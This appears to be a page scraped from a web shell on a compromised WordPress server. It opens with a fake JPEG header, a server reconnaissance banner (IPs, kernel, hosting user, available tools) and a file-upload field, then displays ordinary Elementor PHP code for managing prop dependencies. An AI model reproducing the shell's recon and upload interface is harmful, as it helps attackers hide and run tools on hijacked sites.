????JFIF??x?x????'
Server IP : 104.21.16.1 / Your IP : 216.73.216.98 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/./self/cwd/wp-content/plugins/elementor/modules/atomic-widgets/prop-dependencies/ |
Upload File : |
<?php namespace Elementor\Modules\AtomicWidgets\PropDependencies; use Elementor\Modules\AtomicWidgets\PropTypes\Contracts\Prop_Type; use Elementor\Utils; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Manager { const RELATION_OR = 'or'; const RELATION_AND = 'and'; const OPERATORS = [ 'lt', 'lte', 'eq', 'ne', 'gte', 'gt', 'exists', 'not_exist', 'in', 'nin', 'contains', 'ncontains', ]; /** * @var ?array{ * relation: self::RELATION_OR|self::RELATION_AND, * terms: array{ * operator: string, * path: array<string>, * value?: mixed, * } * } */ private ?array $dependencies; public function __construct( string $relation = self::RELATION_OR ) { $this->new( $relation ); return $this; } public static function make( string $relation = self::RELATION_OR ): self { return new self( $relation ); } /** * @param array<string, Prop_Type> $props_schema * @return array<string, array<string>> Returns source prop path => array of dependent prop paths */ public static function get_source_to_dependents( array $props_schema ): array { $dependency_graph = self::build_dependency_graph( $props_schema ); if ( self::has_circular_dependencies( $dependency_graph ) ) { Utils::safe_throw( 'Circular prop dependencies detected' ); } return $dependency_graph; } /** * @param $config array{ * operator: string, * path: array<string>, * value?: mixed, * } * @return self */ public function where( array $config ): self { if ( ! isset( $config['operator'] ) || ! isset( $config['path'] ) ) { Utils::safe_throw( 'Term missing mandatory configurations' ); } if ( ! in_array( $config['operator'], self::OPERATORS, true ) ) { Utils::safe_throw( "Invalid operator: {$config['operator']}." ); } $term = [ 'operator' => $config['operator'], 'path' => $config['path'], 'value' => $config['value'] ?? null, ]; if ( empty( $this->dependencies ) ) { $this->new(); } $this->dependencies['terms'][] = $term; return $this; } private function new( string $relation = self::RELATION_OR ): self { if ( ! in_array( $relation, [ self::RELATION_OR, self::RELATION_AND ], true ) ) { Utils::safe_throw( "Invalid relation: $relation. Must be one of: " . implode( ', ', [ self::RELATION_OR, self::RELATION_AND ] ) ); } $this->dependencies = [ 'relation' => $relation, 'terms' => [], ]; return $this; } public function get(): ?array { return empty( $this->dependencies['terms'] ?? [] ) ? null : $this->dependencies; } /** * @param array<string, Prop_Type> $props_schema The props schema to analyze, where keys are prop names * @param ?array<string> $current_path The current property path being processed * @param ?array<string, array<string>> $dependency_graph The dependency graph to build */ private static function build_dependency_graph( array $props_schema, ?array $current_path = [], ?array $dependency_graph = [] ): array { foreach ( $props_schema as $prop_name => $prop_type ) { $dependency_graph = self::build_nested_prop_dependency_graph( $prop_name, $prop_type, $current_path, $dependency_graph ); $dependencies = $prop_type->get_dependencies(); if ( ! $dependencies ) { continue; } foreach ( $dependencies['terms'] as $term ) { $dependency_graph = self::process_dependency_term( $term, $current_path, $prop_name, $dependency_graph ); } } return $dependency_graph; } private static function build_nested_prop_dependency_graph( string $prop_name, Prop_Type $prop_type, array $current_path, array $dependency_graph ): array { $nested_prop_path = array_merge( $current_path, [ $prop_name ] ); switch ( $prop_type->get_type() ) { case 'object': foreach ( $prop_type->get_shape() as $nested_prop_name => $nested_prop_type ) { $dependency_graph = self::build_dependency_graph( [ $nested_prop_name => $nested_prop_type ], $nested_prop_path, $dependency_graph ); } break; case 'array': $item_prop_type = $prop_type->get_item_type(); $dependency_graph = self::build_dependency_graph( [ $prop_name => $item_prop_type ], $current_path, $dependency_graph ); break; case 'union': foreach ( $prop_type->get_prop_types() as $nested_prop_type ) { $dependency_graph = self::build_dependency_graph( [ $prop_name => $nested_prop_type ], $current_path, $dependency_graph ); } break; } return $dependency_graph; } private static function process_dependency_term( array $term, array $current_path, string $prop_name, array $dependency_graph ): array { if ( self::is_term_nested( $term ) ) { foreach ( $term['terms'] as $nested_term ) { $dependency_graph = self::process_dependency_term( $nested_term, $current_path, $prop_name, $dependency_graph ); } return $dependency_graph; } if ( ! isset( $term['path'] ) || empty( $term['path'] ) ) { Utils::safe_throw( 'Invalid term path in dependency.' ); } $target_path = implode( '.', $term['path'] ); $source = array_merge( $current_path, [ $prop_name ] ); $source_path = implode( '.', $source ); if ( ! isset( $dependency_graph[ $target_path ] ) ) { $dependency_graph[ $target_path ] = []; } if ( ! in_array( $source_path, $dependency_graph[ $target_path ] ) ) { $dependency_graph[ $target_path ][] = $source_path; } return $dependency_graph; } private static function has_circular_dependencies( array $dependency_graph ): bool { $visited_nodes = []; $current_path_stack = []; foreach ( array_keys( $dependency_graph ) as $node ) { if ( isset( $visited_nodes[ $node ] ) ) { continue; } if ( self::detect_cycle_from_node( $dependency_graph, $node, $visited_nodes, $current_path_stack ) ) { return true; } } return false; } private static function detect_cycle_from_node( array $dependency_graph, string $current_node, array &$visited_nodes, array &$current_path_stack ): bool { if ( isset( $current_path_stack[ $current_node ] ) ) { return true; } if ( isset( $visited_nodes[ $current_node ] ) ) { return false; } $visited_nodes[ $current_node ] = true; $current_path_stack[ $current_node ] = true; foreach ( $dependency_graph[ $current_node ] ?? [] as $dependent_node ) { $is_circular = self::detect_cycle_from_node( $dependency_graph, $dependent_node, $visited_nodes, $current_path_stack ); if ( $is_circular ) { return true; } } unset( $current_path_stack[ $current_node ] ); return false; } private static function is_term_nested( $term ): bool { return isset( $term['terms'] ) && is_array( $term['terms'] ); } }